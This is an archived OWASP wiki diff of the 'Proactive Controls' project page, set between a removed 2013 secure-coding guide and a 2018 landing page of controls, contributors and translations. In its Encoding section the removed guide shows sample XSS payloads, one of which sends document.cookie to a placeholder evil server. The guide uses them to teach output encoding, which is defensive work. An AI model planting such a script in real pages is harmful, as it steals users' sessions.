This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "OWASP Proactive Controls"

From OWASP
Jump to: navigation, search
(→‎10) Logging, Error Handling and Intrusion Detection)
m (→‎Translations)
 
(535 intermediate revisions by 14 users not shown)
Line 1: Line 1:
−
= Project About =
+
= Main =  
−
{{:Projects/OWASP_Proactive_Controls}}
+
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Proactive-header.jpg|link=]]</div>
  
−
= OWASP Top Ten Proactive Controls =
+
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
 +
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
  
−
It is not easy to build a secure, low-risk or risk-managed web application. Firewalls, “policy” and other traditional information security measures serve as either an incomplete or useless measure in the pursuit of web application security.
+
== OWASP Top 10 Proactive Controls 2018 ==
  
−
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It’s also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it’s comes to web security, developers are often set up to lose the security game.  
+
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.
  
−
This document was written by developers, for developers to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.
+
The OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.
  
−
This document is neither scientific nor complete. In fact it’s a bit misguided.  There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.
+
# Define Security Requirements
−
+
# Leverage Security Frameworks and Libraries
−
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire cheat-sheet series team whose content has been pulled from liberally for this document.  
+
# Secure Database Access
 +
# Encode and Escape Data
 +
# Validate All Inputs
 +
# Implement Digital Identity
 +
# Enforce Access Controls
 +
# Protect Data Everywhere
 +
# Implement Security Logging and Monitoring
 +
# Handle All Errors and Exceptions
  
−
Introducing the OWASP Top Ten and one half Proactive Controls 2013.
 
  
−
== 1) Secure Requirements ==
+
For more information, see the complete document in the tab to the right.
  
−
Developers will endeavor to build what is specified in well-written requirements. However, it is extremely rare when developers are presented with prescriptive technical security requirements when building applications.
+
==Licensing==
  
−
There are three basic categories of security requirements that can be defined early-on in a software development project. These include:
+
<span id="8:_Implement_Logging_and_Intrusion_Detection"></span>
 +
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].
  
−
1) '''Functional requirements''': A functional requirement is a visible feature within an application. A functional requirement is often defined by use-cases which includes input, behavior and output. Functional requirements can often be easily tested by Q/A staff. Security functional requirements may include re-authentication during change password, a forgot password workflow, or other visible, testable security features.
+
| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |
  
−
2) '''Non functional requirements''': Non functional requirements include quality aspects to software that is often difficult to test by Q/A staff and may require deep technical expertise to evaluate. These include query parameterization, password storage and other features not always visible to users.
+
== What is This? ==
  
−
3) '''Business logic requirements''': Organizations always require functionality in web and other software that is specific to their way of operating or doing business. Business logic features are often multi-step multi-branch workflows that are difficult to evaluate throughly. These features may include a eCommerce workflow, shipping route choices, or banking transfer validation.
+
The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.
  
−
== 2) Secure Architecture and Design ==
+
== Presentation ==
  
−
Designing secure software is a strategic effort where business, technical and security stakeholders agree on both the functional and non-functional security properties of software well before it is built.  This is not an easy endeavor.
+
Use the extensive [[media:OWASP_Top_Ten_Proactive_Controls_v3.pptx|project presentation]] that expands on the information in the document.
  
−
One example of security design discussion in a web application is how to store state. Should you use the request and hidden parameters? Should you use a web session? Should you use the database? These decisions have dramatic security implications and are difficult to codify.
+
== Project Leaders ==
  
−
== 3) Leverage secure coding frameworks and libraries ==
+
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:[email protected] @]
 +
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:[email protected] @]
 +
* [https://www.owasp.org/index.php/User:Katyanton Katy Anton] [mailto:[email protected] @]
  
−
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws. Web application security frameworks to consider include:
+
== Key Contributors ==
 +
* [[User:Taras Ivashchenko|Taras Ivashchenko]] [mailto:[email protected] @] (Russian Translation)
 +
* Jay Zudilin (Russian Translation)
 +
* Danny Harris [mailto:[email protected] @]
 +
* Hiroaki Kuramochi (Japanese Translation)
 +
* Hiroshi Fujimoto (Japanese Translation)
 +
* Hidenori Nagai (Japanese Translation)
 +
* [https://www.owasp.org/index.php/User:Riotaro_OKADA Riotaro OKADA] [mailto:[email protected] @] (Japanese Translation)
 +
* Robert Dracea (Japanese Translation)
 +
* Koichiro Watanabe (Japanese Translation)
 +
* Tony Hsu Hsiang Chih (Chinese Translation)
 +
* Abdessamad Temmar
 +
* [https://www.linkedin.com/in/eyalestrin Eyal Estrin] [mailto:[email protected] @] (Hebrew Translation)
 +
* [https://www.owasp.org/index.php/User:Cyrille_Grandval Cyrille Grandval] [mailto:[email protected] @] (French Translation)
 +
* Frédéric Baillon [mailto:[email protected] @] (French Translation)
 +
* Danny Harris [mailto:[email protected] @]
 +
* Stephen de Vries
 +
* Andrew Van Der Stock
 +
* Gaz Heyes
 +
* Colin Watson
 +
* Jason Coleman
 +
* Cassio Goldschmidt
  
−
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]
+
== Related Projects ==
−
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]
 
  
−
== 4) Identity and Authentication ==
+
* [[OWASP Top Ten Project]]
 +
* [[OWASP Mobile Security Project]]
 +
* [[Cheat Sheets]]
  
−
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.
+
| valign="top" style="padding-left:25px;width:200px;" |
  
−
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.
+
== Quick Access ==
  
−
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.
+
* Top 10 Proactive Controls 2018 PDF:  [[Media:OWASP_Top_10_Proactive_Controls_V3.pdf|EN]] | [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PL]]  | [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|Ru]]
  
−
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].
+
* Top 10 Proactive Controls 2018 [[Media:OWASP_Top_Ten_Proactive_Controls_v3.pptx|PPT Download]]
 +
* Top 10 Proactive Controls 2018 [[Media:OWASP_Top_10_Proactive_Controls_V3.docx|DOCX Download]]
 +
* Mapping to other OWASP and IEEE Top 10 Lists [[Media:Owasp-pc-ieee-ott-omtt-ssdf.pdf|PDF Download]]
  
−
== 5) Access Control ==
+
== Translations ==
  
−
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.
+
* Top 10 Proactive Controls 2018 Chinese [[Media:OWASP_Top_10_Proactive_Controls_V3_Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2018 Russian [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2018 Polish [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
  
−
'''Role Based Access Control (RBAC)''' In Role-Based Access Control (RBAC), access decisions are based on an individual's roles and responsibilities within the organization or user base. The process of defining roles is usually based on analyzing the fundamental goals and structure of an organization and is usually linked to the security policy. For instance, in a medical organization, the different roles of users may include those such as doctor, nurse, attendant, nurse, patients, etc.  
+
== Latest News and Events ==
 +
* [Aug 2018] 3.0 Polish Translation Released!
 +
* [May 2018] 3.0 Released!
 +
* [June 2016] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
 +
* [June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec]
  
−
An RBAC access control framework should provide web application security administrators with the ability to determine who can perform what actions, when, from where, in what order, and in some cases under what relational circumstances. http://csrc.nist.gov/rbac/ provides some great resources for RBAC implementation. The following aspects exhibit RBAC attributes to an access control model.
+
Please see the [{{SERVER}}/index.php/OWASP_Proactive_Controls?refresh=123#tab=News News] tab for more.
−
*Roles are assigned based on organizational structure with emphasis on the organizational security policy
 
−
*Roles are assigned by the administrator based on relative relationships within the organization or user base. For instance, a manager would have certain authorized transactions over his employees. An administrator would have certain authorized transactions over his specific realm of duties (backup, account creation, etc.)
 
−
*Each role is designated a profile that includes all authorized commands, transactions, and allowable information access.
 
−
*Roles are granted permissions based on the principle of least privilege.
 
−
*Roles are determined with a separation of duties in mind so that a developer Role should not overlap a QA tester Role.
 
−
*Roles are activated statically and dynamically as appropriate to certain relational triggers (help desk queue, security alert, initiation of a new project, etc.)
 
−
*Roles can be only be transferred or delegated using strict sign-offs and procedures.
 
−
*Roles are managed centrally by a security administrator or project leader
 
−
 
−
'''Discretionary Access Control (DAC)''' Discretionary Access Control (DAC) is a means of restricting access to information based on the identity of users and/or membership in certain groups. Access decisions are typically based on the authorizations granted to a user based on the credentials he presented at the time of authentication (user name, password, hardware/software token, etc.). In most typical DAC models, the owner of information or any resource is able to change its permissions at his discretion (thus the name). DAC has the drawback of the administrators not being able to centrally manage these permissions on files/information stored on the web server. A DAC access control model often exhibits one or more of the following attributes.
 
−
*Data Owners can transfer ownership of information to other users
 
−
*Data Owners can determine the type of access given to other users (read, write, copy, etc.)
 
−
*Repetitive authorization failures to access the same resource or object generates an alarm and/or restricts the user's access
 
−
*Special add-on or plug-in software required to apply to an HTTP client to prevent indiscriminant copying by users ("cutting and pasting" of information)
 
−
*Users who do not have access to information should not be able to determine its characteristics (file size, file name, directory path, etc.)
 
−
*Access to information is determined based on authorizations to access control lists based on user identifier and group membership.
 
  
−
'''Mandatory Access Control (MAC)''' Mandatory Access Control (MAC) ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. MAC secures information by assigning sensitivity labels on information and comparing this to the level of sensitivity a user is operating at. In general, MAC access control mechanisms are more secure than DAC yet have trade offs in performance and convenience to users. MAC mechanisms assign a security level to all information, assign a security clearance to each user, and ensure that all users only have access to that data for which they have a clearance. MAC is usually appropriate for extremely secure systems including multilevel secure military applications or mission critical data applications. A MAC access control model often exhibits one or more of the following attributes.
+
== Archive ==
−
*Only administrators, not data owners, make changes to a resource's security label.  
+
* [{{SERVER}}/index.php/OWASP_Proactive_Controls_2014 Proactive Controls 2014]
−
*All data is assigned security level that reflects its relative sensitivity, confidentiality, and protection value.
+
* [{{SERVER}}/index.php/OWASP_Proactive_Controls_2016 Proactive Controls 2016]
−
*All users can read from a lower classification than the one they are granted (A "secret" user can read an unclassified document).
 
−
*All users can write to a higher classification (A "secret" user can post information to a Top Secret resource).
 
−
*All users are given read/write access to objects only of the same classification (a "secret" user can only read/write to a secret document).
 
−
*Access is authorized or restricted to objects based on the time of day depending on the labeling on the resource and the user's credentials (driven by policy).
 
−
*Access is authorized or restricted to objects based on the security characteristics of the HTTP client (e.g. SSL bit length, version information, originating IP address or domain, etc.)
 
  
−
== 6) Query Parametrization ==
+
== Mailing List ==
  
−
There have been many high visibility attacks against web applications that can be traced back to a SQL injection attack. SQL Injection is perhaps one of the most dangerous web application risk due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is quite devastating. Businesses, governments and social network sites have all fallen victim to this attack making it a fairly universal problem. Various statistical studies has shown that between 7 to 10% of all websites still contain SQL Injection. While many cite the problem of SQL injection as a vendor issue, process issues, or issue that is impossible to fix, ultimately it’s a developer programming issue that can be quite simple to fix in comparison to other security issues.
+
Keep up-to-date, participate or ask questions via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].
  
−
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database. 
+
==Classifications==
  
−
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.
+
  {| width="200" cellpadding="2"
 +
  |-
 +
  | rowspan="2" align="center" valign="top" width="50%" | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
 +
  | align="center" valign="top" width="50%" | [[File:Owasp-builders-small.png|link=]] 
 +
  |-
 +
  | align="center" valign="top" width="50%" | [[File:Owasp-defenders-small.png|link=]]
 +
  |-
 +
  | colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
 +
  |-
 +
  | colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
 +
  |}
  
−
Here is an example of query parameterization in Java:
+
|}
  
−
String newName = request.getParameter("newName");
+
= OWASP Proactive Controls 2018 =
−
String id = request.getParameter("id");
 
−
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); 
 
−
pstmt.setString(1, newName);
 
−
pstmt.setString(2, id);
 
  
−
Here is an example of query parameterization in PHP:
+
OWASP Proactive Controls 2018 is currently available in the following formats. 
 +
* Top 10 Proactive Controls 2018 [{{SERVER}}/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf PDF version]
 +
* Top 10 Proactive Controls 2018 [{{SERVER}}/images/1/13/OWASP_Top_Ten_Proactive_Controls_v3.pptx PPT download].
 +
* Top 10 Proactive Controls 2018 [{{SERVER}}/images/7/79/OWASP_Top_10_Proactive_Controls_V3.docx DOCX download].
  
−
$email  = $_REQUEST[‘email’];
+
Wiki version- is currently work in progress .
−
$ id’= $_REQUEST[‘id’];
 
−
$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);
 
−
$stmt->bindParam(':new_email', $email);
 
−
$stmt->bindParam(':user_id', $id);
 
  
−
== 7) Validation ==
+
= News =
 +
* [ July 2019] Featured in Coursera course from UCDavies [https://www.coursera.org/directory/videos?courseId=V1k0pBtIEemZRAqH7m9oGA Identifying Security Vulnerabilities]
 +
* [23 June 2019] Featured on HackerCombat: [https://hackercombat.com/implement-owasp-proactive-controls-to-work/ Implement OWASP Proactive Controls to Work]
 +
* [7 June 2019] Feature on OWASP DevSlop Show [https://www.youtube.com/watch?v=Jdb3qweDc_Q  Proactive Controls]
 +
* [15 May 2019] Featured in TechBeacon: [https://techbeacon.com/security/put-owasp-top-10-proactive-controls-work Put OWASP Top 10 Proactive Controls to work]
 +
* [2 Mar 2019] Webinar: [https://www.youtube.com/watch?v=ldXe8f5yVq8 The OWASP Top Ten Proactive Controls with Jim Manico]
 +
* [Dec 2018] Featured as the resource for Security “Shifting to the Left”!  in the  ISC2 course:  "DevSecOps: Integrating Security into DevOps”
 +
* [20 Sep 2018 Featured in TechBeacon: [https://techbeacon.com/owasp-top-10-proactive-controls-2018-how-it-makes-your-code-more-secure OWASP Top 10 Proactive Controls 2018: How it makes your code more secure]
 +
* [17 Sep 2018] Binary Blogger Podcast Episodes: [https://binaryblogger.com/2018/09/17/owasp-top-10-proactive-controls-podcast-episodes/ OWASP Top 10 Proactive Controls Podcast Episodes]
 +
* [9 May 2018]  Featured in [https://techbeacon.com/developer-secure-code-starter-kit-resources Developer's security guide: 50 online resources to shift left]
 +
* [7 May 2018] 3.0 released!
 +
* [11 Aug 2017] Presented at  [https://northeastphp2017.sched.com/event/B6uo/owasp-top-10-proactive-controls-2016 Northeast PHP Conference]
 +
* [25 July 2017] Podcast about at [https://www.appsecpodcast.org/2017/07/25/the-owasp-top-10-proactive-controls/ OWASP Top 10 Proactive Controls]
 +
* [12 May 2017] Presented at [https://appseceurope2017.sched.com/event/A652/the-path-of-secure-software AppSec EU'17 - Belfast]
 +
* [14 Feb 2017] Featured in [http://wwpi.com/2017/02/14/managing-cloud-infrastructure-to-prevent-security-gaps/ Managing Cloud Infrastructure to Prevent Security Gaps]
 +
* [Feb 2017 ] Featured in "[http://assets.unisys.com/Documents/Global/POVPapers/POV_170062_ApplicationSecurityProgramProtectAgainstDataBreaches.pdf Application Security Program: Protect Against Data Breaches]"
 +
* [ 1 Oct 2016] Presented at [http://conference.phpnw.org.uk/phpnw16/speakers/katy-anton/ PHPNW16]
 +
* [5 July 2016] Featured in [https://www.thoughtworks.com/insights/blog/incorporating-security-best-practices-agile-teams Incorporating Security Best Practices into Agile Teams]
 +
* [June 2016 ] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
 +
* [2 June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec - Securing Software through Continuous Delivery]
 +
* [30 Apr 2016] Added Hebrew Translation for 2016 version
 +
* [28 Apr 2016] Added Chinese Translations for 2016 version
 +
* [12 Apr 2016] Added Hebrew translation for 2016 version
 +
* [29 Feb 2016] Added [https://www.owasp.org/images/a/a8/OWASPTop10ProactiveControls2016-Japanese.pdf Japanese Translation]
 +
* [14 Jan 2016] 2.0 released!
 +
* [5 Dec 2015] Began final edit process for 2.0
 +
* [29 Mar 2015] Added Hebrew Translation
 +
* [27 Jan 2015] Added Top Ten Mapping
 +
* [31 Oct 2014] Project presentation uploaded
 +
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]
 +
* [04 Feb 2014] New Wiki Template!
  
−
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.
+
= Users =
−
 
−
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.
 
  
−
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.
+
* Michael Leung - Management consultant with Canadian Cybersecurity Inc.
 +
: ''"Giving developers guidance that was practical was challenging. The OWASP Top 10 Proactive Controls helped a lot."''
  
−
Let’s start with the following regular expression for the username.
 
  
−
^[a-z0-9_]{3,16}$
+
'''Disclaimer'''
  
−
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.  
+
Organizations listed are not accredited by OWASP. Neither their products or services have been endorsed by OWASP.  
  
−
Here is an example regular expression for the password field.
+
'''How to get listed'''
  
−
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$
+
Please let us know how your organization is using OWASP Top 10 Proactive Controls. Include your name, organization's name, and brief description of how you use the project. The project lead can be reached  [mailto:katy.anton@owasp.org here].
  
−
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).
+
= Formal Numbering =
  
−
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).
+
== 2018 Numbering ==
 +
* OWASP-2018-C1: Define Security Requirements
 +
* OWASP-2018-C2: Leverage Security Frameworks and Libraries
 +
* OWASP-2018-C3: Secure Database Access
 +
* OWASP-2018-C4: Encode and Escape Data
 +
* OWASP-2018-C5: Validate All Inputs
 +
* OWASP-2018-C6: Implement Digital Identity
 +
* OWASP-2018-C7: Enforce Access Controls
 +
* OWASP-2018-C8: Protect Data Everywhere
 +
* OWASP-2018-C9: Implement Security Logging and Monitoring
 +
* OWASP-2018-C10: Handle All Errors and Exceptions
  
−
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
+
== 2016 Numbering ==
 +
* OWASP-2016-C1: Verify for Security Early and Often
 +
* OWASP-2016-C2: Parameterize Queries
 +
* OWASP-2016-C3: Encode Data
 +
* OWASP-2016-C4: Validate All Inputs
 +
* OWASP-2016-C5: Implement Identity and Authentication Controls
 +
* OWASP-2016-C6: Implement Appropriate Access Controls
 +
* OWASP-2016-C7: Protect Data
 +
* OWASP-2016-C8: Implement Logging and Intrusion Detection
 +
* OWASP-2016-C9: Leverage Security Frameworks and Libraries
 +
* OWASP-2016-C10: Error and Exception Handling
  
−
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text. There are several available at OWASP that are simple to use:
+
== 2014 Numbering ==
 +
* OWASP-2014-C1: Parameterize Queries
 +
* OWASP-2014-C2: Encode Data
 +
* OWASP-2014-C3: Validate All Inputs
 +
* OWASP-2014-C4: Implement Appropriate Access Controls
 +
* OWASP-2014-C5: Establish Identity and Authentication Controls
 +
* OWASP-2014-C6: Protect Data and Privacy
 +
* OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
 +
* OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
 +
* OWASP-2014-C9: Include Security-Specific Requirements
 +
* OWASP-2014-C10: Design and Architect Security In
  
−
Input validation is important layer within a secure web application. However, it’s not the only important layer. What would a regular expression look like for a comments field that allows users to provide feedback to a news article? Uppercase letters, lowercase letters, all punctuation marks and numbers would need to be allowed to allow users to provide complete sentences. Unfortunately, this field requires characters that could (1) cause harm but are (2) necessary for the functionality required in an open comments field.
+
= Translations =
  
−
Here we illustrate one of the unfortunate truisms about input validation: input validation does not always make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.
 
  
−
Developers cannot consider security in isolation. This is the essence of a well written secure application: being able to handle dangerous attack strings without harming either functionality or security.
+
== 2018 Version ==
 +
* Top 10 Proactive Controls 2018 Russian Translation: [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2018 Polish Translation:  [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PDF Download]] 
  
−
== 8) Encoding ==
+
== 2016 Version ==
 +
* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
  
−
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.
+
== 2014 Version ==
 +
* Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.
  
−
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects.
+
= Roadmap =
  
−
For example:
+
Welcome to the OWASP Top 10 Proactive Controls Project!
  
−
XSS site defacement:
+
== 2018 Roadmap ==
  
−
  <script>document.body.innerHTML(“Jim was here”);</script>
+
* Create new PowerPoint and other artifacts for 2018 version (done)
 +
* Create wiki for 2018 version (work in progress)
  
−
XSS session theft:
+
== 2016 Roadmap ==
  
−
<script>
+
* Create new PowerPoint and other artifacts for 2016 version (done)
−
var img = new Image();
+
* Proactive Control Mapping to Cheatsheet (done)
−
img.src=&quot;hxxp://<some evil server>.com?” + document.cookie;
 
−
</script>
 
−
 
 
−
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.
 
−
 
 
−
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.
 
−
 
 
−
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.
 
−
 
 
−
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
 
−
 
 
−
== 9) Data Protection ==
 
−
 
 
−
=== Encryption in Transit ===
 
−
 
 
−
A decision must be made to determine the appropriate method to protect data when it is being transmitted. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.
 
−
 
 
−
SSL/TLS is under fire. There is a significant recent history of flaws within the SSL/TLS standards. These include SSL Stripping (2009), Insecure renegotiation (2009), BEAST (2011), CRIME (2013), Lucky 13 (2013), Weakness with the RC4 cipher (2013), Forward Secrecy (2013) and BREACH (2013).
 
−
 
 
−
Not only are there multiple weaknesses with the standards and ciphers used in SSL/TLS, but the Certificate Authority system is dubious at best.
 
−
 
 
−
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your application incompetent or malicious certificate authorities, please see the [[Pinning Cheat Sheet]]
 
−
 
 
−
=== Encryption at Rest ===
 
−
 
 
−
For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].
 
−
 
 
−
== 10) Logging, Error Handling and Intrusion Detection ==
 
−
 
 
−
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.
 
−
 
 
−
= Purpose =
 
−
 
 
−
Application logging should be always be included for security events. Application logs are invaluable data for:
 
−
 
 
−
* Identifying security incidents
 
−
* Monitoring policy violations
 
−
* Establishing baselines
 
−
* Providing information about problems and unusual conditions
 
−
* Contributing additional application-specific data for incident investigation which is lacking in other log sources
 
−
* Helping defend against vulnerability identification and exploitation through attack detection
 
−
 
 
−
Application logging might also be used to record other types of events too such as:
 
−
 
 
−
* Security events
 
−
* Business process monitoring e.g. sales process abandonment, transactions, connections
 
−
* Audit trails e.g. data addition, modification and deletion, data exports
 
−
* Performance monitoring e.g. data load time, page timeouts
 
−
* Compliance monitoring
 
−
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations
 
−
* Legally sanctioned interception of data e.g application-layer wire-tapping
 
−
* Other business-specific requirements
 
−
 
 
−
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much. The remainder of this cheat sheet primarily discusses security event logging.
 
−
 
 
−
= Project Roadmap =
 
−
 
 
−
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source.
 
  
 
== Status ==
 
== Status ==
  
−
: We are currently seeking volunteers who will help developing stub/empty articles listed bellow and bring it up to a production level of quality. Join us now to take part in this historic effort, just drop a line to  [mailto:[email protected] Jim Manico] and [mailto:vanderaj@owasp.org Andrew van der Stock]!
+
